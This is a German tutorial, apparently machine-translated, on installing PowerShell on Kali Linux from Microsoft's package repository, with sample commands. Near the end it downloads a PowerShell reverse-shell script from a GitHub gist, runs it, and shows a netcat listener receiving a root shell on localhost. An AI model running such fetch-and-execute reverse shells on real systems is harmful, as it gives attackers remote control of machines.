GNU/Linux >> LINUX-Kenntnisse >  >> Linux

PowerShell unter Kali Linux installieren

UPDATE NOV 2019

Dieser Beitrag ist seit 2019 veraltet, da Powershell zu den primären Repos hinzugefügt wurde. Mach einfach ein:

apt update && apt -y install powershell

Und Sie haben Powershell auf Ihrem System.

Alter Beitrag

Möglicherweise wissen Sie bereits, dass Sie Ihrer Kali Linux-Installation sicher externe Repositories hinzufügen können, aber Sie wissen möglicherweise nicht, dass eines der vielen online verfügbaren Repositories eines von Microsoft enthält, das PowerShell enthält. Das Repository ist für Debian, aber seine Pakete lassen sich perfekt auf Kali installieren, wie wir in diesem Beitrag zeigen werden.

PowerShell-Paketinstallation in Kali

Wir beginnen mit der Installation der notwendigen Abhängigkeiten, von denen die meisten standardmäßig bereits in Ihrer Kali-Installation installiert sein sollten.

apt update && apt -y install curl gnupg apt-transport-https

Als nächstes müssen wir den GPG-Schlüssel des öffentlichen Repositorys herunterladen und hinzufügen, damit APT den Paketen vertraut und Sie auf Probleme mit Paketsignaturen hinweist.

curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -

Nachdem der GPG-Schlüssel hinzugefügt wurde, fügen wir das Microsoft-Paket-Repository seiner eigenen Paketlistendatei unter /etc/apt/sources.list.d/ hinzu und aktualisieren Sie die Liste der verfügbaren Pakete.

echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update

Schließlich fahren wir mit der Installation des Powershell-Pakets fort.

apt -y install powershell

Ausführen von PowerShell

Führen Sie nach Abschluss der Paketinstallation pwsh aus startet PowerShell und präsentiert uns die bekannte „PS“-Eingabeaufforderung.

[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root>

Wenn Sie neu bei PowerShell sind, möchten Sie wahrscheinlich als Erstes die integrierte Hilfe aktualisieren, was durch Ausführen von Update-Help erfolgen kann Cmdlet. Dies kann eine Weile dauern, muss aber nur selten ausgeführt werden.

PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...

Wie Sie vielleicht erwarten, werden Sie nicht alle Befehle finden, die Sie bei der Verwendung von PowerShell unter Windows gewohnt sind, aber alle Kernmodule sind vorhanden und der Code wird ständig weiterentwickelt und verbessert.

PS /root> Get-Process -Name gnome*

NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-

Eines der überraschenden Dinge, die Sie können Verwenden Sie jedoch PowerShell, um eine Reverse-Shell an einen Netcat-Listener zu senden. Wir sind online auf eine kleine umgekehrte PowerShell-Shell gestoßen, die sich zu unserer großen Überraschung problemlos mit unserem Zuhörer verbunden hat.

[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
[email protected]:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

Wir denken, dass es bemerkenswert ist, dass Microsoft PowerShell nicht nur als Open-Source entwickelt, sondern auch ständig aktualisiert und verbessert hat und ein öffentliches Paket-Repository dafür die Installation zum Kinderspiel macht.


Linux
  1. Installation von VirtualBox 4.2 unter Linux Mint 14

  2. Installieren von Linux Mint Cinnamon in einer VM

  3. Kali Linux 2017.1-Version

  4. Kali Linux 2016.2-Version

  5. Kali Linux 2020.2-Version (KDE &PowerShell)

Härten von Kali Linux

So installieren Sie Kali Linux

Kali-Linux-Download

Kali Linux-Systemanforderungen

Kali Linux gegen Papagei

Installieren von Kali Linux auf VirtualBox:Der schnellste und sicherste Weg